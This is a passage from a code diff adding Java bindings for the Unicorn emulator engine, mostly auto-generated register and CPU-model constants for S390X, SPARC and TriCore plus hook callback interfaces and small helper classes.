public static final int UC_CPU_S390X_Z890 = 7;
public static final int UC_CPU_S390X_Z990_4 = 8;
public static final int UC_CPU_S390X_Z890_2 = 9;
public static final int UC_CPU_S390X_Z990_5 = 10;
public static final int UC_CPU_S390X_Z890_3 = 11;
public static final int UC_CPU_S390X_Z9EC = 12;
public static final int UC_CPU_S390X_Z9EC_2 = 13;
public static final int UC_CPU_S390X_Z9BC = 14;
public static final int UC_CPU_S390X_Z9EC_3 = 15;
public static final int UC_CPU_S390X_Z9BC_2 = 16;
public static final int UC_CPU_S390X_Z10EC = 17;
public static final int UC_CPU_S390X_Z10EC_2 = 18;
public static final int UC_CPU_S390X_Z10BC = 19;
public static final int UC_CPU_S390X_Z10EC_3 = 20;
public static final int UC_CPU_S390X_Z10BC_2 = 21;
public static final int UC_CPU_S390X_Z196 = 22;
public static final int UC_CPU_S390X_Z196_2 = 23;
public static final int UC_CPU_S390X_Z114 = 24;
public static final int UC_CPU_S390X_ZEC12 = 25;
public static final int UC_CPU_S390X_ZEC12_2 = 26;
public static final int UC_CPU_S390X_ZBC12 = 27;
public static final int UC_CPU_S390X_Z13 = 28;
public static final int UC_CPU_S390X_Z13_2 = 29;
public static final int UC_CPU_S390X_Z13S = 30;
public static final int UC_CPU_S390X_Z14 = 31;
public static final int UC_CPU_S390X_Z14_2 = 32;
public static final int UC_CPU_S390X_Z14ZR1 = 33;
public static final int UC_CPU_S390X_GEN15A = 34;
public static final int UC_CPU_S390X_GEN15B = 35;
public static final int UC_CPU_S390X_QEMU = 36;
public static final int UC_CPU_S390X_MAX = 37;
public static final int UC_CPU_S390X_ENDING = 38;
// S390X registers
public static final int UC_S390X_REG_INVALID = 0;
// General purpose registers
public static final int UC_S390X_REG_R0 = 1;
public static final int UC_S390X_REG_R1 = 2;
public static final int UC_S390X_REG_R2 = 3;
public static final int UC_S390X_REG_R3 = 4;
public static final int UC_S390X_REG_R4 = 5;
public static final int UC_S390X_REG_R5 = 6;
public static final int UC_S390X_REG_R6 = 7;
public static final int UC_S390X_REG_R7 = 8;
public static final int UC_S390X_REG_R8 = 9;
public static final int UC_S390X_REG_R9 = 10;
public static final int UC_S390X_REG_R10 = 11;
public static final int UC_S390X_REG_R11 = 12;
public static final int UC_S390X_REG_R12 = 13;
public static final int UC_S390X_REG_R13 = 14;
public static final int UC_S390X_REG_R14 = 15;
public static final int UC_S390X_REG_R15 = 16;
// Floating point registers
public static final int UC_S390X_REG_F0 = 17;
public static final int UC_S390X_REG_F1 = 18;
public static final int UC_S390X_REG_F2 = 19;
public static final int UC_S390X_REG_F3 = 20;
public static final int UC_S390X_REG_F4 = 21;
public static final int UC_S390X_REG_F5 = 22;
public static final int UC_S390X_REG_F6 = 23;
public static final int UC_S390X_REG_F7 = 24;
public static final int UC_S390X_REG_F8 = 25;
public static final int UC_S390X_REG_F9 = 26;
public static final int UC_S390X_REG_F10 = 27;
public static final int UC_S390X_REG_F11 = 28;
public static final int UC_S390X_REG_F12 = 29;
public static final int UC_S390X_REG_F13 = 30;
public static final int UC_S390X_REG_F14 = 31;
public static final int UC_S390X_REG_F15 = 32;
public static final int UC_S390X_REG_F16 = 33;
public static final int UC_S390X_REG_F17 = 34;
public static final int UC_S390X_REG_F18 = 35;
public static final int UC_S390X_REG_F19 = 36;
public static final int UC_S390X_REG_F20 = 37;
public static final int UC_S390X_REG_F21 = 38;
public static final int UC_S390X_REG_F22 = 39;
public static final int UC_S390X_REG_F23 = 40;
public static final int UC_S390X_REG_F24 = 41;
public static final int UC_S390X_REG_F25 = 42;
public static final int UC_S390X_REG_F26 = 43;
public static final int UC_S390X_REG_F27 = 44;
public static final int UC_S390X_REG_F28 = 45;
public static final int UC_S390X_REG_F29 = 46;
public static final int UC_S390X_REG_F30 = 47;
public static final int UC_S390X_REG_F31 = 48;
// Access registers
public static final int UC_S390X_REG_A0 = 49;
public static final int UC_S390X_REG_A1 = 50;
public static final int UC_S390X_REG_A2 = 51;
public static final int UC_S390X_REG_A3 = 52;
public static final int UC_S390X_REG_A4 = 53;
public static final int UC_S390X_REG_A5 = 54;
public static final int UC_S390X_REG_A6 = 55;
public static final int UC_S390X_REG_A7 = 56;
public static final int UC_S390X_REG_A8 = 57;
public static final int UC_S390X_REG_A9 = 58;
public static final int UC_S390X_REG_A10 = 59;
public static final int UC_S390X_REG_A11 = 60;
public static final int UC_S390X_REG_A12 = 61;
public static final int UC_S390X_REG_A13 = 62;
public static final int UC_S390X_REG_A14 = 63;
public static final int UC_S390X_REG_A15 = 64;
public static final int UC_S390X_REG_PC = 65;
public static final int UC_S390X_REG_PSWM = 66;
public static final int UC_S390X_REG_ENDING = 67;
// Alias registers
}

View File

@@ -0,0 +1,140 @@
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
package unicorn;
public interface SparcConst {
// SPARC32 CPU
public static final int UC_CPU_SPARC32_FUJITSU_MB86904 = 0;
public static final int UC_CPU_SPARC32_FUJITSU_MB86907 = 1;
public static final int UC_CPU_SPARC32_TI_MICROSPARC_I = 2;
public static final int UC_CPU_SPARC32_TI_MICROSPARC_II = 3;
public static final int UC_CPU_SPARC32_TI_MICROSPARC_IIEP = 4;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_40 = 5;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_50 = 6;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_51 = 7;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_60 = 8;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_61 = 9;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_II = 10;
public static final int UC_CPU_SPARC32_LEON2 = 11;
public static final int UC_CPU_SPARC32_LEON3 = 12;
public static final int UC_CPU_SPARC32_ENDING = 13;
// SPARC64 CPU
public static final int UC_CPU_SPARC64_FUJITSU = 0;
public static final int UC_CPU_SPARC64_FUJITSU_III = 1;
public static final int UC_CPU_SPARC64_FUJITSU_IV = 2;
public static final int UC_CPU_SPARC64_FUJITSU_V = 3;
public static final int UC_CPU_SPARC64_TI_ULTRASPARC_I = 4;
public static final int UC_CPU_SPARC64_TI_ULTRASPARC_II = 5;
public static final int UC_CPU_SPARC64_TI_ULTRASPARC_III = 6;
public static final int UC_CPU_SPARC64_TI_ULTRASPARC_IIE = 7;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III = 8;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III_CU = 9;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII = 10;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV = 11;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV_PLUS = 12;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII_PLUS = 13;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T1 = 14;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T2 = 15;
public static final int UC_CPU_SPARC64_NEC_ULTRASPARC_I = 16;
public static final int UC_CPU_SPARC64_ENDING = 17;
// SPARC registers
public static final int UC_SPARC_REG_INVALID = 0;
public static final int UC_SPARC_REG_F0 = 1;
public static final int UC_SPARC_REG_F1 = 2;
public static final int UC_SPARC_REG_F2 = 3;
public static final int UC_SPARC_REG_F3 = 4;
public static final int UC_SPARC_REG_F4 = 5;
public static final int UC_SPARC_REG_F5 = 6;
public static final int UC_SPARC_REG_F6 = 7;
public static final int UC_SPARC_REG_F7 = 8;
public static final int UC_SPARC_REG_F8 = 9;
public static final int UC_SPARC_REG_F9 = 10;
public static final int UC_SPARC_REG_F10 = 11;
public static final int UC_SPARC_REG_F11 = 12;
public static final int UC_SPARC_REG_F12 = 13;
public static final int UC_SPARC_REG_F13 = 14;
public static final int UC_SPARC_REG_F14 = 15;
public static final int UC_SPARC_REG_F15 = 16;
public static final int UC_SPARC_REG_F16 = 17;
public static final int UC_SPARC_REG_F17 = 18;
public static final int UC_SPARC_REG_F18 = 19;
public static final int UC_SPARC_REG_F19 = 20;
public static final int UC_SPARC_REG_F20 = 21;
public static final int UC_SPARC_REG_F21 = 22;
public static final int UC_SPARC_REG_F22 = 23;
public static final int UC_SPARC_REG_F23 = 24;
public static final int UC_SPARC_REG_F24 = 25;
public static final int UC_SPARC_REG_F25 = 26;
public static final int UC_SPARC_REG_F26 = 27;
public static final int UC_SPARC_REG_F27 = 28;
public static final int UC_SPARC_REG_F28 = 29;
public static final int UC_SPARC_REG_F29 = 30;
public static final int UC_SPARC_REG_F30 = 31;
public static final int UC_SPARC_REG_F31 = 32;
public static final int UC_SPARC_REG_F32 = 33;
public static final int UC_SPARC_REG_F34 = 34;
public static final int UC_SPARC_REG_F36 = 35;
public static final int UC_SPARC_REG_F38 = 36;
public static final int UC_SPARC_REG_F40 = 37;
public static final int UC_SPARC_REG_F42 = 38;
public static final int UC_SPARC_REG_F44 = 39;
public static final int UC_SPARC_REG_F46 = 40;
public static final int UC_SPARC_REG_F48 = 41;
public static final int UC_SPARC_REG_F50 = 42;
public static final int UC_SPARC_REG_F52 = 43;
public static final int UC_SPARC_REG_F54 = 44;
public static final int UC_SPARC_REG_F56 = 45;
public static final int UC_SPARC_REG_F58 = 46;
public static final int UC_SPARC_REG_F60 = 47;
public static final int UC_SPARC_REG_F62 = 48;
public static final int UC_SPARC_REG_FCC0 = 49;
public static final int UC_SPARC_REG_FCC1 = 50;
public static final int UC_SPARC_REG_FCC2 = 51;
public static final int UC_SPARC_REG_FCC3 = 52;
public static final int UC_SPARC_REG_G0 = 53;
public static final int UC_SPARC_REG_G1 = 54;
public static final int UC_SPARC_REG_G2 = 55;
public static final int UC_SPARC_REG_G3 = 56;
public static final int UC_SPARC_REG_G4 = 57;
public static final int UC_SPARC_REG_G5 = 58;
public static final int UC_SPARC_REG_G6 = 59;
public static final int UC_SPARC_REG_G7 = 60;
public static final int UC_SPARC_REG_I0 = 61;
public static final int UC_SPARC_REG_I1 = 62;
public static final int UC_SPARC_REG_I2 = 63;
public static final int UC_SPARC_REG_I3 = 64;
public static final int UC_SPARC_REG_I4 = 65;
public static final int UC_SPARC_REG_I5 = 66;
public static final int UC_SPARC_REG_FP = 67;
public static final int UC_SPARC_REG_I7 = 68;
public static final int UC_SPARC_REG_ICC = 69;
public static final int UC_SPARC_REG_L0 = 70;
public static final int UC_SPARC_REG_L1 = 71;
public static final int UC_SPARC_REG_L2 = 72;
public static final int UC_SPARC_REG_L3 = 73;
public static final int UC_SPARC_REG_L4 = 74;
public static final int UC_SPARC_REG_L5 = 75;
public static final int UC_SPARC_REG_L6 = 76;
public static final int UC_SPARC_REG_L7 = 77;
public static final int UC_SPARC_REG_O0 = 78;
public static final int UC_SPARC_REG_O1 = 79;
public static final int UC_SPARC_REG_O2 = 80;
public static final int UC_SPARC_REG_O3 = 81;
public static final int UC_SPARC_REG_O4 = 82;
public static final int UC_SPARC_REG_O5 = 83;
public static final int UC_SPARC_REG_SP = 84;
public static final int UC_SPARC_REG_O7 = 85;
public static final int UC_SPARC_REG_Y = 86;
public static final int UC_SPARC_REG_XCC = 87;
public static final int UC_SPARC_REG_PC = 88;
public static final int UC_SPARC_REG_ENDING = 89;
public static final int UC_SPARC_REG_O6 = 84;
public static final int UC_SPARC_REG_I6 = 67;
}

View File

@@ -0,0 +1,33 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_INSN} with {@code UC_X86_INS_SYSCALL} or
* {@code UC_X86_INS_SYSENTER} */
public interface SyscallHook extends InstructionHook {
/** Called to handle an x86 SYSCALL or SYSENTER instruction.
*
* @param u {@link Unicorn} instance firing this hook
* @param user user data provided when registering this hook
*/
public void hook(Unicorn u, Object user);
}

View File

@@ -0,0 +1,40 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_TCG_OPCODE} */
public interface TcgOpcodeHook extends Hook {
/** Called on every instruction of the registered type(s) within the
* registered range. For example, a {@code UC_TCG_OP_SUB} hook fires on
* every instruction that contains a subtraction operation, unless
* otherwise filtered.
*
* @param u {@link Unicorn} instance firing this hook
* @param address address of the instruction
* @param arg1 first argument to the instruction
* @param arg2 second argument to the instruction
* @param size size of the operands (currently, 32 or 64)
* @param user user data provided when registering this hook
*/
public void hook(Unicorn u, long address, long arg1, long arg2, int size,
Object user);
}

View File

@@ -0,0 +1,42 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_TLB_FILL} */
public interface TlbFillHook extends Hook {
/** Called to map a virtual address within the registered range to a
* physical address. The resulting mapping is cached in the QEMU TLB.
* These hooks are only called if the TLB mode (set via
* {@link Unicorn#ctl_tlb_mode}) is set to {@code UC_TLB_VIRTUAL}.
*
* @param u {@link Unicorn} instance firing this hook
* @param vaddr virtual address being mapped
* @param type type of memory access ({@code UC_MEM_READ},
* {@code UC_MEM_WRITE} or {@code UC_MEM_FETCH}).
* @param user user data provided when registering this hook
* @return the page-aligned physical address ORed with the page
* protection bits ({@code UC_PROT_*}). Return -1L to
* indicate an unmapped address; if all hooks return -1L,
* the memory access will fail and raise a CPU exception.
*/
public long hook(Unicorn u, long vaddr, int type, Object user);
}

View File

@@ -0,0 +1,41 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** uc_tb */
public class TranslationBlock {
public long pc;
public int icount;
public int size;
public TranslationBlock(long pc, int icount, int size) {
this.pc = pc;
this.icount = icount;
this.size = size;
}
@Override
public String toString() {
return String.format("TranslationBlock [pc=0x%x, icount=%d, size=%d]",
pc, icount, size);
}
}

View File

@@ -0,0 +1,130 @@
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
package unicorn;
public interface TriCoreConst {
// TRICORE CPU
public static final int UC_CPU_TRICORE_TC1796 = 0;
public static final int UC_CPU_TRICORE_TC1797 = 1;
public static final int UC_CPU_TRICORE_TC27X = 2;
public static final int UC_CPU_TRICORE_ENDING = 3;
// TRICORE registers
public static final int UC_TRICORE_REG_INVALID = 0;
public static final int UC_TRICORE_REG_A0 = 1;
public static final int UC_TRICORE_REG_A1 = 2;
public static final int UC_TRICORE_REG_A2 = 3;
public static final int UC_TRICORE_REG_A3 = 4;
public static final int UC_TRICORE_REG_A4 = 5;
public static final int UC_TRICORE_REG_A5 = 6;
public static final int UC_TRICORE_REG_A6 = 7;
public static final int UC_TRICORE_REG_A7 = 8;
public static final int UC_TRICORE_REG_A8 = 9;
public static final int UC_TRICORE_REG_A9 = 10;
public static final int UC_TRICORE_REG_A10 = 11;
public static final int UC_TRICORE_REG_A11 = 12;
public static final int UC_TRICORE_REG_A12 = 13;
public static final int UC_TRICORE_REG_A13 = 14;
public static final int UC_TRICORE_REG_A14 = 15;
public static final int UC_TRICORE_REG_A15 = 16;
public static final int UC_TRICORE_REG_D0 = 17;
public static final int UC_TRICORE_REG_D1 = 18;
public static final int UC_TRICORE_REG_D2 = 19;
public static final int UC_TRICORE_REG_D3 = 20;
public static final int UC_TRICORE_REG_D4 = 21;
public static final int UC_TRICORE_REG_D5 = 22;
public static final int UC_TRICORE_REG_D6 = 23;
public static final int UC_TRICORE_REG_D7 = 24;
public static final int UC_TRICORE_REG_D8 = 25;
public static final int UC_TRICORE_REG_D9 = 26;
public static final int UC_TRICORE_REG_D10 = 27;
public static final int UC_TRICORE_REG_D11 = 28;
public static final int UC_TRICORE_REG_D12 = 29;
public static final int UC_TRICORE_REG_D13 = 30;
public static final int UC_TRICORE_REG_D14 = 31;
public static final int UC_TRICORE_REG_D15 = 32;
public static final int UC_TRICORE_REG_PCXI = 33;
public static final int UC_TRICORE_REG_PSW = 34;
public static final int UC_TRICORE_REG_PSW_USB_C = 35;
public static final int UC_TRICORE_REG_PSW_USB_V = 36;
public static final int UC_TRICORE_REG_PSW_USB_SV = 37;
public static final int UC_TRICORE_REG_PSW_USB_AV = 38;
public static final int UC_TRICORE_REG_PSW_USB_SAV = 39;
public static final int UC_TRICORE_REG_PC = 40;
public static final int UC_TRICORE_REG_SYSCON = 41;
public static final int UC_TRICORE_REG_CPU_ID = 42;
public static final int UC_TRICORE_REG_BIV = 43;
public static final int UC_TRICORE_REG_BTV = 44;
public static final int UC_TRICORE_REG_ISP = 45;
public static final int UC_TRICORE_REG_ICR = 46;
public static final int UC_TRICORE_REG_FCX = 47;
public static final int UC_TRICORE_REG_LCX = 48;
public static final int UC_TRICORE_REG_COMPAT = 49;
public static final int UC_TRICORE_REG_DPR0_U = 50;
public static final int UC_TRICORE_REG_DPR1_U = 51;
public static final int UC_TRICORE_REG_DPR2_U = 52;
public static final int UC_TRICORE_REG_DPR3_U = 53;
public static final int UC_TRICORE_REG_DPR0_L = 54;
public static final int UC_TRICORE_REG_DPR1_L = 55;
public static final int UC_TRICORE_REG_DPR2_L = 56;
public static final int UC_TRICORE_REG_DPR3_L = 57;
public static final int UC_TRICORE_REG_CPR0_U = 58;
public static final int UC_TRICORE_REG_CPR1_U = 59;
public static final int UC_TRICORE_REG_CPR2_U = 60;
public static final int UC_TRICORE_REG_CPR3_U = 61;
public static final int UC_TRICORE_REG_CPR0_L = 62;
public static final int UC_TRICORE_REG_CPR1_L = 63;
public static final int UC_TRICORE_REG_CPR2_L = 64;
public static final int UC_TRICORE_REG_CPR3_L = 65;
public static final int UC_TRICORE_REG_DPM0 = 66;
public static final int UC_TRICORE_REG_DPM1 = 67;
public static final int UC_TRICORE_REG_DPM2 = 68;
public static final int UC_TRICORE_REG_DPM3 = 69;
public static final int UC_TRICORE_REG_CPM0 = 70;
public static final int UC_TRICORE_REG_CPM1 = 71;
public static final int UC_TRICORE_REG_CPM2 = 72;
public static final int UC_TRICORE_REG_CPM3 = 73;
public static final int UC_TRICORE_REG_MMU_CON = 74;
public static final int UC_TRICORE_REG_MMU_ASI = 75;
public static final int UC_TRICORE_REG_MMU_TVA = 76;
public static final int UC_TRICORE_REG_MMU_TPA = 77;
public static final int UC_TRICORE_REG_MMU_TPX = 78;
public static final int UC_TRICORE_REG_MMU_TFA = 79;
public static final int UC_TRICORE_REG_BMACON = 80;
public static final int UC_TRICORE_REG_SMACON = 81;
public static final int UC_TRICORE_REG_DIEAR = 82;
public static final int UC_TRICORE_REG_DIETR = 83;
public static final int UC_TRICORE_REG_CCDIER = 84;
public static final int UC_TRICORE_REG_MIECON = 85;
public static final int UC_TRICORE_REG_PIEAR = 86;
public static final int UC_TRICORE_REG_PIETR = 87;
public static final int UC_TRICORE_REG_CCPIER = 88;
public static final int UC_TRICORE_REG_DBGSR = 89;
public static final int UC_TRICORE_REG_EXEVT = 90;
public static final int UC_TRICORE_REG_CREVT = 91;
public static final int UC_TRICORE_REG_SWEVT = 92;
public static final int UC_TRICORE_REG_TR0EVT = 93;
public static final int UC_TRICORE_REG_TR1EVT = 94;
public static final int UC_TRICORE_REG_DMS = 95;
public static final int UC_TRICORE_REG_DCX = 96;
public static final int UC_TRICORE_REG_DBGTCR = 97;
public static final int UC_TRICORE_REG_CCTRL = 98;
public static final int UC_TRICORE_REG_CCNT = 99;
public static final int UC_TRICORE_REG_ICNT = 100;
public static final int UC_TRICORE_REG_M1CNT = 101;
public static final int UC_TRICORE_REG_M2CNT = 102;
public static final int UC_TRICORE_REG_M3CNT = 103;
public static final int UC_TRICORE_REG_ENDING = 104;
public static final int UC_TRICORE_REG_GA0 = 1;
public static final int UC_TRICORE_REG_GA1 = 2;
public static final int UC_TRICORE_REG_GA8 = 9;
public static final int UC_TRICORE_REG_GA9 = 10;
public static final int UC_TRICORE_REG_SP = 11;
public static final int UC_TRICORE_REG_LR = 12;
public static final int UC_TRICORE_REG_IA = 16;
public static final int UC_TRICORE_REG_ID = 32;
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,154 @@
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
package unicorn;
public interface UnicornConst {
public static final int UC_API_MAJOR = 2;
public static final int UC_API_MINOR = 0;
public static final int UC_API_PATCH = 2;
public static final int UC_API_EXTRA = 1;
public static final int UC_VERSION_MAJOR = 2;
public static final int UC_VERSION_MINOR = 0;
public static final int UC_VERSION_PATCH = 2;
public static final int UC_VERSION_EXTRA = 1;
public static final int UC_SECOND_SCALE = 1000000;
public static final int UC_MILISECOND_SCALE = 1000;
public static final int UC_ARCH_ARM = 1;
public static final int UC_ARCH_ARM64 = 2;
public static final int UC_ARCH_MIPS = 3;
public static final int UC_ARCH_X86 = 4;
public static final int UC_ARCH_PPC = 5;
public static final int UC_ARCH_SPARC = 6;
public static final int UC_ARCH_M68K = 7;
public static final int UC_ARCH_RISCV = 8;
public static final int UC_ARCH_S390X = 9;
public static final int UC_ARCH_TRICORE = 10;
public static final int UC_ARCH_MAX = 11;
public static final int UC_MODE_LITTLE_ENDIAN = 0;
public static final int UC_MODE_BIG_ENDIAN = 1073741824;
public static final int UC_MODE_ARM = 0;
public static final int UC_MODE_THUMB = 16;
public static final int UC_MODE_MCLASS = 32;
public static final int UC_MODE_V8 = 64;
public static final int UC_MODE_ARMBE8 = 1024;
public static final int UC_MODE_ARM926 = 128;
public static final int UC_MODE_ARM946 = 256;
public static final int UC_MODE_ARM1176 = 512;
public static final int UC_MODE_MICRO = 16;
public static final int UC_MODE_MIPS3 = 32;
public static final int UC_MODE_MIPS32R6 = 64;
public static final int UC_MODE_MIPS32 = 4;
public static final int UC_MODE_MIPS64 = 8;
public static final int UC_MODE_16 = 2;
public static final int UC_MODE_32 = 4;
public static final int UC_MODE_64 = 8;
public static final int UC_MODE_PPC32 = 4;
public static final int UC_MODE_PPC64 = 8;
public static final int UC_MODE_QPX = 16;
public static final int UC_MODE_SPARC32 = 4;
public static final int UC_MODE_SPARC64 = 8;
public static final int UC_MODE_V9 = 16;
public static final int UC_MODE_RISCV32 = 4;
public static final int UC_MODE_RISCV64 = 8;
public static final int UC_ERR_OK = 0;
public static final int UC_ERR_NOMEM = 1;
public static final int UC_ERR_ARCH = 2;
public static final int UC_ERR_HANDLE = 3;
public static final int UC_ERR_MODE = 4;
public static final int UC_ERR_VERSION = 5;
public static final int UC_ERR_READ_UNMAPPED = 6;
public static final int UC_ERR_WRITE_UNMAPPED = 7;
public static final int UC_ERR_FETCH_UNMAPPED = 8;
public static final int UC_ERR_HOOK = 9;
public static final int UC_ERR_INSN_INVALID = 10;
public static final int UC_ERR_MAP = 11;
public static final int UC_ERR_WRITE_PROT = 12;
public static final int UC_ERR_READ_PROT = 13;
public static final int UC_ERR_FETCH_PROT = 14;
public static final int UC_ERR_ARG = 15;
public static final int UC_ERR_READ_UNALIGNED = 16;
public static final int UC_ERR_WRITE_UNALIGNED = 17;
public static final int UC_ERR_FETCH_UNALIGNED = 18;
public static final int UC_ERR_HOOK_EXIST = 19;
public static final int UC_ERR_RESOURCE = 20;
public static final int UC_ERR_EXCEPTION = 21;
public static final int UC_ERR_OVERFLOW = 22;
public static final int UC_MEM_READ = 16;
public static final int UC_MEM_WRITE = 17;
public static final int UC_MEM_FETCH = 18;
public static final int UC_MEM_READ_UNMAPPED = 19;
public static final int UC_MEM_WRITE_UNMAPPED = 20;
public static final int UC_MEM_FETCH_UNMAPPED = 21;
public static final int UC_MEM_WRITE_PROT = 22;
public static final int UC_MEM_READ_PROT = 23;
public static final int UC_MEM_FETCH_PROT = 24;
public static final int UC_MEM_READ_AFTER = 25;
public static final int UC_TCG_OP_SUB = 0;
public static final int UC_TCG_OP_FLAG_CMP = 1;
public static final int UC_TCG_OP_FLAG_DIRECT = 2;
public static final int UC_HOOK_INTR = 1;
public static final int UC_HOOK_INSN = 2;
public static final int UC_HOOK_CODE = 4;
public static final int UC_HOOK_BLOCK = 8;
public static final int UC_HOOK_MEM_READ_UNMAPPED = 16;
public static final int UC_HOOK_MEM_WRITE_UNMAPPED = 32;
public static final int UC_HOOK_MEM_FETCH_UNMAPPED = 64;
public static final int UC_HOOK_MEM_READ_PROT = 128;
public static final int UC_HOOK_MEM_WRITE_PROT = 256;
public static final int UC_HOOK_MEM_FETCH_PROT = 512;
public static final int UC_HOOK_MEM_READ = 1024;
public static final int UC_HOOK_MEM_WRITE = 2048;
public static final int UC_HOOK_MEM_FETCH = 4096;
public static final int UC_HOOK_MEM_READ_AFTER = 8192;
public static final int UC_HOOK_INSN_INVALID = 16384;
public static final int UC_HOOK_EDGE_GENERATED = 32768;
public static final int UC_HOOK_TCG_OPCODE = 65536;
public static final int UC_HOOK_TLB_FILL = 131072;
public static final int UC_HOOK_MEM_UNMAPPED = 112;
public static final int UC_HOOK_MEM_PROT = 896;
public static final int UC_HOOK_MEM_READ_INVALID = 144;
public static final int UC_HOOK_MEM_WRITE_INVALID = 288;
public static final int UC_HOOK_MEM_FETCH_INVALID = 576;
public static final int UC_HOOK_MEM_INVALID = 1008;
public static final int UC_HOOK_MEM_VALID = 7168;
public static final int UC_QUERY_MODE = 1;
public static final int UC_QUERY_PAGE_SIZE = 2;
public static final int UC_QUERY_ARCH = 3;
public static final int UC_QUERY_TIMEOUT = 4;
public static final int UC_CTL_IO_NONE = 0;
public static final int UC_CTL_IO_WRITE = 1;
public static final int UC_CTL_IO_READ = 2;
public static final int UC_CTL_IO_READ_WRITE = 3;
public static final int UC_TLB_CPU = 0;
public static final int UC_TLB_VIRTUAL = 1;
public static final int UC_CTL_UC_MODE = 0;
public static final int UC_CTL_UC_PAGE_SIZE = 1;
public static final int UC_CTL_UC_ARCH = 2;
public static final int UC_CTL_UC_TIMEOUT = 3;
public static final int UC_CTL_UC_USE_EXITS = 4;
public static final int UC_CTL_UC_EXITS_CNT = 5;
public static final int UC_CTL_UC_EXITS = 6;
public static final int UC_CTL_CPU_MODEL = 7;
public static final int UC_CTL_TB_REQUEST_CACHE = 8;
public static final int UC_CTL_TB_REMOVE_CACHE = 9;
public static final int UC_CTL_TB_FLUSH = 10;
public static final int UC_CTL_TLB_FLUSH = 11;
public static final int UC_CTL_TLB_TYPE = 12;
public static final int UC_CTL_TCG_BUFFER_SIZE = 13;
public static final int UC_PROT_NONE = 0;
public static final int UC_PROT_READ = 1;
public static final int UC_PROT_WRITE = 2;
public static final int UC_PROT_EXEC = 4;
public static final int UC_PROT_ALL = 7;
}

View File

@@ -0,0 +1,32 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
public class UnicornException extends RuntimeException {
public UnicornException() {
super();
}
public UnicornException(String msg) {
super(msg);
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,72 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
public class X86_Float80 {
public long mantissa;
public short exponent;
public X86_Float80(long mantissa, short exponent) {
this.mantissa = mantissa;
this.exponent = exponent;
}
public double toDouble() {
boolean sign = (exponent & 0x8000) != 0;
int exp = exponent & 0x7fff;
if (exp == 0) {
return sign ? -0.0 : 0.0;
} else if (exp == 0x7fff) {
